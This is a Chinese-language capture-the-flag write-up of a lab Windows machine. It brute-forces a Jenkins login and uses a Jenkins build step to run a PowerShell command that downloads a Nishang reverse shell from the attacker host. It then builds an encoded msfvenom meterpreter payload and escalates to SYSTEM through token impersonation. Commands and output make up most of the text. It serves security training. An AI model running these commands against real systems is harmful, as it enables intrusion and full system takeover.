前言
-
利用Jenkins获得初始shell,然后利用Windows身份验证令牌升级特权。
-
首先将学习如何利用一个广泛使用的自动化服务器上的常见错误配置(Jenkins自动化服务器 - 此工具可用于创建持续集成/持续开发管道,以允许开发人员在更改代码后自动部署代码),然后,我们再继续使用一种有趣的提权方法来获得完整的目标系统访问权限。
-
由于目标是一个 Windows 应用程序,我们可以使用 Nishang 工具获得初始访问权限(在攻击机上安装:sudo apt install nishang),Nishang 存储库包含了一些有用的渗透脚本,可用于建立初始访问、枚举目标信息和权限升级等,在本文实验案例中,我们将使用Nishang存储库中的反向 shell 脚本以获取对目标机的初始访问权限。
-
部署
-
target machine: 10.10.251.108
-
attack machine: 10.11.61.123 (本机kali连接openVPN)
Nmap扫描
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sT -Pn 10.10.251.108
[sudo] kali 的密码:
对不起,请重试。
[sudo] kali 的密码:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-05 10:26 EST
Nmap scan report for 10.10.251.108
Host is up (0.23s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds
可以看到有两个web服务,尝试访问:
Jenkins登录页面密码爆破
-
查看登录页面请求:
-
使用hydra爆破:
hydra -L name.txt -P pass.txt target_ip -s target_port http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:loginError"
┌──(kali㉿kali)-[~/桌面/THM/Alfred] └─$ hydra -L wordlist.txt -P wordlist.txt 10.10.251.108 -s 8080 http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:loginError" ··· [DATA] attacking http-post-form://10.10.251.108:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:loginError [STATUS] 600.00 tries/min, 600 tries in 00:01h, 123304 to do in 03:26h, 16 active [8080][http-post-form] host: 10.10.251.108 login: admin password: admin ···
得到用户名和密码:
admin:admin
-
如果条件允许,可以尝试BP工具爆破,也可尝试常用弱密码admin之类
-
登录:
目标Jenkins配置错误
-
进入Manage Jenkins(管理 Jenkins)—Script Console(脚本控制台)页面
-
在脚本控制台页面输入:println “whoami”.execute().text
-
后台执行代码
-
可以修改并使用如下payload,它将在目标机上被执行,能够将(来自于攻击机的)反向shell脚本下载到目标机上并完成脚本执行操作:
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
注意这里第一个port为攻击机上开启的web服务端口,第二个port为攻击机设置的Netcat监听端口
获取shell
-
思路:
-
攻击机上使用命令创建一个简易的Python HTTP服务器,这能使存放在攻击机上的反向shell脚本可以被目标机访问并下载
-
攻击机设置监听端口
-
在Jenkins后台中找到一个功能点,以便我们能够运行相关命令来下载攻击机上的反向shell脚本并执行该脚本,找到命令执行页面的具体步骤如下——先进入Jenkins后台,然后进入project选项卡(页面中间)、configure选项卡(左侧页面),定位到Build页面(选择Execute Windows batch command)以便我们执行命令,在Build界面输入命令,先点击应用并保存,再点击Build now即可。
-
-
具体操作:
-
攻击机下载 nishang
sudo apt install nishang
-
进入nishang/Shells目录(/usr/share/nishang/Shells)并开启简易http服务:
┌──(kali㉿kali)-[~] └─$ cd /usr/share/nishang/Shells ┌──(kali㉿kali)-[/usr/share/nishang/Shells] └─$ ls Invoke-ConPtyShell.ps1 Invoke-JSRatRundll.ps1 Invoke-PoshRatHttps.ps1 Invoke-PowerShellTcpOneLineBind.ps1 Invoke-PowerShellTcp.ps1 Invoke-PowerShellUdp.ps1 Invoke-PsGcatAgent.ps1 Remove-PoshRat.ps1 Invoke-JSRatRegsvr.ps1 Invoke-PoshRatHttp.ps1 Invoke-PowerShellIcmp.ps1 Invoke-PowerShellTcpOneLine.ps1 Invoke-PowerShellUdpOneLine.ps1 Invoke-PowerShellWmi.ps1 Invoke-PsGcat.ps1 ┌──(kali㉿kali)-[/usr/share/nishang/Shells] └─$ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
-
攻击机监听:
┌──(kali㉿kali)-[/usr/share/nishang/Shells] └─$ nc -nlvp 1234 listening on [any] 1234 ...
-
修改payload:
powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.61.123:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.61.123 -Port 1234
-
Jenkins执行命令:
-
监听端口获得反向shell:
┌──(kali㉿kali)-[/usr/share/nishang/Shells] └─$ nc -nlvp 1234 listening on [any] 1234 ... connect to [10.11.61.123] from (UNKNOWN) [10.10.251.108] 49262 Windows PowerShell running as user bruce on ALFRED Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Program Files (x86)\Jenkins\workspace\project>whoami alfred\bruce PS C:\Program Files (x86)\Jenkins\workspace\project> cd \users\bruce PS C:\users\bruce> cd desktop PS C:\users\bruce\desktop> dir Directory: C:\users\bruce\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 10/25/2019 11:22 PM 32 user.txt
此时可获取flag: user.txt
-
切换交互shell(Materpreter shell)
tips: 这里重启过目标,target ip:10.10.178.7
-
使用msfvenom创建一个Windows meterpreter反向shell,使用以下有效载荷:
#这个有效载荷生成一个编码的x86-64反向TCP测量有效载荷。有效载荷通常被编码,以确保它们被正确传输,并避免反病毒产品。反病毒产品可能无法识别有效载荷,不会将其标记为恶意。 msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe
┌──(kali㉿kali)-[/usr/share/nishang/Shells] └─$ sudo msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.61.123 LPORT=4444 -f exe -o shell.exe [sudo] kali 的密码: [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 381 (iteration=0) x86/shikata_ga_nai chosen with final size 381 Payload size: 381 bytes Final size of exe file: 73802 bytes Saved as: shell.exe ┌──(kali㉿kali)-[/usr/share/nishang/Shells] └─$ ls Invoke-ConPtyShell.ps1 Invoke-JSRatRundll.ps1 Invoke-PoshRatHttps.ps1 Invoke-PowerShellTcpOneLineBind.ps1 Invoke-PowerShellTcp.ps1 Invoke-PowerShellUdp.ps1 Invoke-PsGcatAgent.ps1 Remove-PoshRat.ps1 Invoke-JSRatRegsvr.ps1 Invoke-PoshRatHttp.ps1 Invoke-PowerShellIcmp.ps1 Invoke-PowerShellTcpOneLine.ps1 Invoke-PowerShellUdpOneLine.ps1 Invoke-PowerShellWmi.ps1 Invoke-PsGcat.ps1 shell.exe
-
使用与前一步相同的方法将生成的方向shell下载到机器上:
powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"
-
下载:
PS C:\users\bruce\desktop> powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.61.123:8000/shell.exe','shell.exe')" PS C:\users\bruce\desktop> dir Directory: C:\users\bruce\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 12/6/2023 2:42 PM 73802 shell.exe -a--- 10/25/2019 11:22 PM 32 user.txt
-
下载记录:
┌──(kali㉿kali)-[/usr/share/nishang/Shells] └─$ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.178.7 - - [06/Dec/2023 09:30:17] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 - 10.10.178.7 - - [06/Dec/2023 09:38:20] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 - 10.10.178.7 - - [06/Dec/2023 09:42:33] "GET /shell.exe HTTP/1.1" 200 -
-
-
使用MSF的exploit/multi/handler进行相关设置:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-thm-ip set LPORT listening-port run
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 10.11.61.123 lhost => 10.11.61.123 msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.11.61.123:4444
- 反向shell启用shell.exe:
PS C:\users\bruce\desktop> Start-Process "shell.exe" PS C:\users\bruce\desktop>
- MSF生成meterpreter shell:
··· msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.11.61.123:4444 [*] Sending stage (175686 bytes) to 10.10.178.7 [*] Meterpreter session 1 opened (10.11.61.123:4444 -> 10.10.178.7:49308) at 2023-12-06 10:02:12 -0500 meterpreter > shell Process 2396 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\users\bruce\desktop>whoami whoami alfred\bruce
提权
-
有了初始访问权限,接下来使用令牌模拟来获得系统访问权限。尝试使用令牌模拟来获得system访问权限(system权限是Windows系统中的最高级别权限)。Windows 可以使用令牌来确保某个账户具有执行特定操作的正确权限,当用户成功登录或通过身份验证机制时,账户令牌(tokens )就会被分配给账户,这通常由 LSASS.exe 完成(你可以将其视为一个身份验证进程)。
-
此访问令牌包括以下信息:
-
user SIDs(security identifier)
-
group SIDs
-
privileges
-
-
除其他事项外,更详细的信息请参考:
https://learn.microsoft.com/en-us/windows/win32/secauthz/access-tokens
-
对于模拟令牌,有不同的级别:
-
SecurityAnonymous:当前 用户/客户端 不能模拟另一个 用户/客户端。
-
SecurityIdentification:当前 用户/客户端 可以获得客户端的身份和权限,但不能模拟客户端。
-
SecurityImpersonation:当前 用户/客户端 可以在本地系统上模拟客户端的安全上下文。
-
SecurityDelegation:当前 用户/客户端 可以在远程系统上模拟客户端的安全上下文。
-
tips:这里的安全上下文是指一个包含用户相关安全信息的数据结构。
-
-
账户所具有的权限(在账户创建时授予账户的权限或者从group处继承的权限)能够允许对应用户执行一些特定操作,以下是最常被滥用的特权:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
更多权限滥用信息请参考:https://www.exploit-db.com/papers/42556
-
具体实验步骤:
-
首先,使用Meterpreter shell进入普通shell界面,输入相关命令以查看我们当前在目标机上的全部权限:
meterpreter > shell ··· C:\users\bruce\desktop>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State =============================== ========================================= ======== ··· SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled SeUndockPrivilege Remove computer from docking station Disabled SeManageVolumePrivilege Perform volume maintenance tasks Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled ···
-
可以看到目标机启用了两个关键权限(SeDebugPrivilege、SeImpersonatePrivilege),这两个权限能够让我们使用MSF中的模块来进行令牌模拟操作,我们退出之前的普通shell界面(exit即可),在Meterpreter shell界面加载MSF中的incognito模块(使用命令load incognito),如果相关命令不起作用,可以尝试更新MSF或者先使用use incognito命令。(incognito英译:隐身)
meterpreter > load incognito Loading extension incognito...Success.
-
模块加载完成之后 输入list_tokens -g命令检查哪些令牌可用,我们发现BUILTIN\Administrators令牌可用,所以我们可以模拟管理员令牌,模拟完成后,再运行getuid命令,可以看到此时我们的uid已经变更为SYSTEM的uid,说明模拟令牌成功。
meterpreter > list_tokens -g [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== \ BUILTIN\Administrators BUILTIN\IIS_IUSRS BUILTIN\Users ··· meterpreter > impersonate_token "BUILTIN\Administrators" [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
-
即使现在拥有更高特权的令牌(token),实际上也可能没有对应的特权用户的权限(由于 Windows 处理权限的方式 - Windows会使用主令牌而不是模拟令牌来确定某个进程的权限分配情况);所以还需要迁移到具有正确权限的进程,可以选择迁移到最安全的services.exe进程。
- 首先使用ps命令查看所有进程,找到services.exe进程的PID,然后使用migrate PID-OF-PROCESS迁移到目标进程:
meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x64 0 396 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe 524 516 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe 572 564 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe 580 516 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe 608 564 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe 620 668 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\sppsvc.exe 668 580 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe 676 580 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe 684 580 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe ··· 1904 2520 shell.exe x86 0 alfred\bruce C:\Users\bruce\Desktop\shell.exe ··· meterpreter > migrate 668 [*] Migrating from 1612 to 668... [*] Migration completed successfully meterpreter > getpid Current pid: 668 meterpreter > pwd C:\Windows\system32
- 进入目标机的目录,输入命令search -f root.txt获取最终flag即可(flag路径为:C:\Windows\System32\config\root.txt)。
meterpreter > pwd C:\Windows\system32 meterpreter > search -f root.txt Found 1 result... ================= Path Size (bytes) Modified (UTC) ---- ------------ -------------- c:\Windows\System32\config\root.txt 70 2019-10-26 07:36:00 -0400
-